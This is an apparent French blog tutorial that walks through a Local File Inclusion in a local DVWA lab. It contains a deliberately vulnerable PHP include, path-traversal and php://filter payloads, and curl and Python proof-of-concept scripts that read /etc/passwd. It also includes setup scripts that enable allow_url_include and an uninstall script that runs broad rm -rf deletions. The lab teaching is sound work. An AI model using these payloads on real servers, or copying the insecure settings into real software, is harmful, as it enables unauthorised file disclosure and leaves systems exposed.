📘 Atelier : on reproduit une LFI (Local File Inclusion) ?

📘 Introduction : Qu’est-ce qu’une LFI (Local File Inclusion) ?

La Local File Inclusion (LFI) est une vulnĂ©rabilitĂ© web qui permet Ă  un attaquant d’inclure un fichier prĂ©sent sur le systĂšme de fichiers du serveur via des paramĂštres d’URL mal protĂ©gĂ©s.

Elle survient gĂ©nĂ©ralement quand une application PHP utilise une fonction comme include()require(), ou file_get_contents() avec une variable utilisateur non filtrĂ©e :

$page = $_GET['page'];
include($page); // ⚠ VulnĂ©rable !

🎯 Objectifs possibles d’une LFI :

  • Lire des fichiers sensibles (/etc/passwd, fichiers de config
),
  • Inclure du code malveillant dĂ©jĂ  prĂ©sent sur le serveur,
  • Contourner des protections (avec des wrappers comme php://filter),
  • PrĂ©parer une escalade vers une RCE (Remote Code Execution).

🎯 Objectif

Reproduire un LFI permettant de lire arbitrairement des fichiers systĂšme (/etc/passwd), voire de bypasser les protections avec des wrappers PHP comme php://filter.


đŸ§Ș Environnement de test

Tu peux utiliser une VM avec :

  • DVWA (Damn Vulnerable Web App) sur Debian 12 ou Kali
  • Un navigateur avec Burp Suite
  • AccĂšs root Ă  la machine cible (VM perso ou lab)

🔧 Outils requis


⚙ Installation de DVWA (si tu pars de 0)

# 1. Cloner le dépÎt
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa

# 2. Configurer Apache/Nginx + PHP + MariaDB
apt install apache2 php php-mysqli mariadb-server

# 3. Configurer la base
mysql -u root -p
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
exit;

# 4. Configurer le fichier /var/www/html/dvwa/config/config.inc.php
cp config/config.inc.php.dist config/config.inc.php
nano config/config.inc.php # (modifier user et pass MySQL)

# 5. Démarrer les services<br>systemctl start apache2
systemctl start mysql

🎯 LFI – Étapes de l’exploit

  1. Connexion à DVWA, niveau de sécurité réglé sur « Low ».
  2. Aller dans le menu « File Inclusion ».
  3. Tester ce type d’URL :
http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd

Tu verras alors un dump du fichier /etc/passwd.


đŸ§Ș Étape bonus : wrapper PHP

http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index

Cela encode le contenu de index.php en base64 et permet de lire des fichiers PHP normalement protĂ©gĂ©s (trĂšs utile en pentest rĂ©el).


🔒 SĂ©curisation post-test

  • Change le niveau de sĂ©curitĂ© de DVWA Ă  « High ».
  • Active les protections dans Apache : open_basedir, dĂ©sactiver allow_url_include, etc.

📝 Script d’automatisation (bash + curl)

Voici un script pour tester automatiquement l’accĂšs Ă  /etc/passwd :

#!/bin/bash
URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd"
COOKIE="security=low; PHPSESSID=xxx"  # remplace PHPSESSID par ton cookie réel

curl -s -b "$COOKIE" "$URL" | grep root

📩 En rĂ©sumĂ©

ÉlĂ©mentDĂ©tail
VulnérabilitéLFI (Local File Inclusion)
PlateformeDVWA
RĂ©sultatLire /etc/passwd, index.php
NiveauFacile, idéal pour lab

đŸ› ïž # BONUS : Script d’installation automatique de DVWA

#!/bin/bash

# === Vérifications préalables ===
if [ "$EUID" -ne 0 ]; then
  echo "Ce script doit ĂȘtre exĂ©cutĂ© en root."
  exit 1
fi

echo "[+] Mise Ă  jour du systĂšme..."
apt update &amp;&amp; apt upgrade -y

echo "[+] Installation des paquets requis..."
apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php

echo "[+] Clonage de DVWA..."
git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa

echo "[+] Configuration des droits..."
chown -R www-data:www-data /var/www/html/dvwa
chmod -R 755 /var/www/html/dvwa

echo "[+] Démarrage des services..."
systemctl enable apache2 mariadb
systemctl start apache2 mariadb

echo "[+] Configuration de la base de données..."
mysql -u root &lt;&lt;EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL PRIVILEGES ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF

echo "[+] Configuration du fichier DVWA..."
cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php
sed -i "s/'user' =&gt; 'root'/'user' =&gt; 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php
sed -i "s/'password' =&gt; ''/'password' =&gt; 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php

echo "[+] Activation des options PHP (allow_url_include)..."
PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION;')/apache2/php.ini"
sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"
systemctl restart apache2

echo "[+] Préparation de DVWA : initialisation de la base via l'interface..."
curl -s -c cookies.txt -b cookies.txt "http://127.0.0.1/dvwa/setup.php" &gt; /dev/null

echo "[+] Script terminé."
echo
echo "âžĄïž  AccĂšde Ă  DVWA via : http://127.0.0.1/dvwa"
echo "🛑 Identifiants par dĂ©faut : admin / password"
echo
echo "✅ Une fois connectĂ©, va dans 'DVWA Security' et sĂ©lectionne 'Low'."

📌 Conseils d’usage

  • Tu peux enregistrer ce script dans un fichier install_dvwa.sh, puis le lancer :
chmod +x install_dvwa.sh
sudo ./install_dvwa.sh
  • Si tu es derriĂšre un proxy ou un reverse proxy, n’oublie pas d’adapter les URL et les ports.
  • Pour NGINX Ă  la place d’Apache : je peux t’en gĂ©nĂ©rer une version adaptĂ©e (avec FPM et conf NGINX incluse), dis-le-moi !

đŸ§č # BONUS : Script de dĂ©sinstallation propre de DVWA + dĂ©pendances

#!/bin/bash

# === Vérifications préalables ===
if [ "$EUID" -ne 0 ]; then
  echo "Ce script doit ĂȘtre exĂ©cutĂ© en root."
  exit 1
fi

read -p "⚠ Ce script va supprimer DVWA, Apache, PHP et MariaDB. Continuer ? (y/N) " confirm
[[ "$confirm" != "y" ]] &amp;&amp; echo "Abandon." &amp;&amp; exit 1

echo "[+] Suppression des paquets..."
apt purge --remove -y apache2 php* mariadb-server mariadb-client
apt autoremove -y
apt autoclean

echo "[+] Suppression des fichiers et bases DVWA..."
rm -rf /var/www/html/dvwa
rm -rf /etc/apache2
rm -rf /etc/php
rm -rf /var/lib/mysql
rm -rf /var/log/mysql

echo "[+] Fin de la désinstallation."

💡 Sauvegarde-le sous uninstall_dvwa.sh puis :

chmod +x uninstall_dvwa.sh
sudo ./uninstall_dvwa.sh

đŸ’„ # BONUS 😎 : Script de test automatique LFI (PoC ciblant /etc/passwd)

Ce script suppose que DVWA est en mode « Low », que tu es connecté avec Burp ou navigateur, et que tu récupÚres ton cookie PHPSESSID.

#!/bin/bash

# Remplacer par ton PHPSESSID aprĂšs connexion Ă  DVWA
COOKIE="security=low; PHPSESSID=changeme"

URL="http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd"

echo "[+] Test d'inclusion de fichier local..."
curl -s -b "$COOKIE" "$URL" | grep -E '^root|/home|/bin/bash' &amp;&amp; echo "[✅] Fichier /etc/passwd exposĂ© !" || echo "[❌] Rien trouvĂ©. VĂ©rifie le cookie ou le niveau de sĂ©curitĂ©."

# Bonus : wrapper base64
echo -e "\n[+] Test avec php://filter"
curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep -E 'PD9waHAg|Q29weXJpZ2h0|dmFsdWU=' &amp;&amp; echo "[✅] Inclusion de index.php encodĂ© dĂ©tectĂ©e." || echo "[❌] Échec du wrapper PHP."

💡 Sauvegarde-le sous lfi_test.sh, modifie le PHPSESSID et lance :

chmod +x lfi_test.sh
./lfi_test.sh

đŸ’„ # BONUS 😎 : Script PYTHON

LFI PYTHON

# DVWA Lab Setup Suite - Jean-Marc

# ==========================
# 1. INSTALL - Apache Setup
# ==========================

install_dvwa_apache() {
  echo "[Apache] Installing DVWA with Apache..."

  apt update && apt install -y apache2 php php-mysqli git mariadb-server libapache2-mod-php

  git clone https://github.com/digininja/DVWA.git /var/www/html/dvwa
  chown -R www-data:www-data /var/www/html/dvwa

  systemctl enable apache2 mariadb
  systemctl start apache2 mariadb

  mysql -u root <<EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF

  cp /var/www/html/dvwa/config/config.inc.php.dist /var/www/html/dvwa/config/config.inc.php
  sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/html/dvwa/config/config.inc.php
  sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/html/dvwa/config/config.inc.php

  PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/apache2/php.ini"
  sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
  sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"
  systemctl restart apache2

  echo "[Apache] DVWA installed at: http://127.0.0.1/dvwa"
}

# ==========================
# 2. INSTALL - NGINX Setup
# ==========================

install_dvwa_nginx() {
  echo "[NGINX] Installing DVWA with NGINX + PHP-FPM..."

  apt update && apt install -y nginx php-fpm php-mysqli php-curl php-gd php-xml php-mbstring php-zip mariadb-server git

  git clone https://github.com/digininja/DVWA.git /var/www/dvwa
  chown -R www-data:www-data /var/www/dvwa

  mysql -u root <<EOF
CREATE DATABASE dvwa;
CREATE USER 'dvwauser'@'localhost' IDENTIFIED BY 'dvwapass';
GRANT ALL ON dvwa.* TO 'dvwauser'@'localhost';
FLUSH PRIVILEGES;
EOF

  cp /var/www/dvwa/config/config.inc.php.dist /var/www/dvwa/config/config.inc.php
  sed -i "s/'user' => 'root'/'user' => 'dvwauser'/" /var/www/dvwa/config/config.inc.php
  sed -i "s/'password' => ''/'password' => 'dvwapass'/" /var/www/dvwa/config/config.inc.php

  PHP_INI="/etc/php/$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')/fpm/php.ini"
  sed -i 's/allow_url_include = Off/allow_url_include = On/' "$PHP_INI"
  sed -i 's/allow_url_fopen = Off/allow_url_fopen = On/' "$PHP_INI"

  systemctl restart php*-fpm

  cat <<EOF > /etc/nginx/sites-available/dvwa
server {
    listen 80;
    server_name localhost;
    root /var/www/dvwa;
    index index.php index.html;

    location / {
        try_files \$uri \$uri/ =404;
    }

    location ~ \.php\$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/run/php/php$(php -r 'echo PHP_MAJOR_VERSION.".".PHP_MINOR_VERSION')-fpm.sock;
    }

    location ~ /\.ht {
        deny all;
    }
}
EOF

  ln -s /etc/nginx/sites-available/dvwa /etc/nginx/sites-enabled/
  rm -f /etc/nginx/sites-enabled/default
  nginx -t && systemctl restart nginx

  echo "[NGINX] DVWA installed at: http://127.0.0.1"
}

# ============================
# 3. REVERSE PROXY SETUP (opt)
# ============================

install_reverse_proxy() {
  echo "[Reverse Proxy] Installing NGINX reverse proxy to Apache..."

  apt install -y nginx

  cat <<EOF > /etc/nginx/sites-available/reverse-proxy
server {
    listen 80;
    server_name localhost;

    location / {
        proxy_pass http://127.0.0.1:8080;
        proxy_set_header Host \$host;
        proxy_set_header X-Real-IP \$remote_addr;
        proxy_set_header X-Forwarded-For \$proxy_add_x_forwarded_for;
        proxy_set_header X-Forwarded-Proto \$scheme;
    }
}
EOF

  ln -s /etc/nginx/sites-available/reverse-proxy /etc/nginx/sites-enabled/
  systemctl restart nginx
  echo "[Reverse Proxy] Active at: http://127.0.0.1/ → Apache on :8080"
}

# =============================
# 4. LFI PoC Test Script (curl)
# =============================

lfi_test() {
  echo "[PoC] Test LFI on DVWA (curl)"
  echo "Remplacer le PHPSESSID avant usage."
  COOKIE="security=low; PHPSESSID=changeme"

  curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=../../../../etc/passwd" | grep -E '^root|/bin/bash'
  echo -e "\n[+] php://filter test"
  curl -s -b "$COOKIE" "http://127.0.0.1/dvwa/vulnerabilities/fi/?page=php://filter/convert.base64-encode/resource=index" | grep 'PD9waHAg'
}

# =============================
# 5. LFI PoC Test Script (Python)
# =============================

lfi_test_python() {
  echo "[PoC] LFI Python script - replace session before using."
  cat <<EOF > lfi_poc.py
import requests

url = "http://127.0.0.1/dvwa/vulnerabilities/fi/"
cookie = {"PHPSESSID": "changeme", "security": "low"}
payloads = ["../../../../etc/passwd", "php://filter/convert.base64-encode/resource=index"]

for payload in payloads:
    params = {"page": payload}
    r = requests.get(url, params=params, cookies=cookie)
    print(f"\n[+] Payload: {payload}\n{'='*40}\n")
    print(r.text[:1000])
EOF
  echo "[+] Python PoC created: lfi_poc.py"
  echo "⚠  N'oublie pas de modifier le PHPSESSID dans le script."
}

# ==========================
# 6. UNINSTALL ALL CLEANLY
# ==========================

uninstall_dvwa() {
  echo "[UNINSTALL] Remove DVWA, Apache/NGINX, PHP & MariaDB"

  apt purge --remove -y apache2 nginx php* mariadb-server mariadb-client
  apt autoremove -y && apt autoclean
  rm -rf /var/www/html/dvwa /var/www/dvwa /etc/nginx/sites-{available,enabled}/dvwa /etc/apache2 /etc/php /var/lib/mysql /var/log/mysql

  echo "[UNINSTALL] Clean complete."
}

# ==========================
# MAIN MENU
# ==========================

case "$1" in
  install-apache)
    install_dvwa_apache
    ;;
  install-nginx)
    install_dvwa_nginx
    ;;
  reverse-proxy)
    install_reverse_proxy
    ;;
  lfi-test)
    lfi_test
    ;;
  lfi-test-python)
    lfi_test_python
    ;;
  uninstall)
    uninstall_dvwa
    ;;
  *)
    echo "Usage: $0 {install-apache|install-nginx|reverse-proxy|lfi-test|lfi-test-python|uninstall}"
    ;;
esac

✅ Le script Dvwa Lab Setup contient dĂ©sormais une fonction lfi_test_python qui gĂ©nĂšre un PoC Python exploitant une LFI sur DVWA avec :

  • Session PHP configurable
  • Test automatique de :
    • ../../../../etc/passwd
    • php://filter/convert.base64-encode/resource=index

▶ Pour gĂ©nĂ©rer le PoC :

bash
./dvwa_setup.sh lfi-test-python

Un fichier lfi_poc.py sera créé dans le dossier courant.

📘 Atelier : on reproduit une LFI (Local File Inclusion) ?
Partager cet article : Twitter LinkedIn WhatsApp

đŸ–‹ïž PubliĂ© sur SecuSlice.com

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Retour en haut